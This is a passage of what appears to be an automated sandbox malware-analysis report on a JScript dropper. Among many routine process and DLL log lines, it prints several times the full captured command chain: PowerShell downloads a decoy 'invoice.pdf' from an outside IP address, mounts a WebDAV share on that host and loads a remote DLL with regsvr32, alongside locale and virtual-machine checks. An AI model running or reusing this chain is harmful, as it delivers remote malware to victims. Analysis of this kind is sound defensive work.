Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2823.js.csv");ITextStream.WriteLine(" entry:7513 f:mikadd");ITextStream.WriteLine(" exec:2 f:mikadd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3965			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5936			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5808	Thread sleep count: 3965 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4796	Thread sleep count: 5936 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1048	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3372	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3620	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2088948926.000001DFA3BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\e1^
Source: svchost.exe, 00000009.00000002.3385684860.0000019DB582B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2146512483.000002D3B380A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2146267121.000002D3B37A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3387042669.0000019DBAE5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

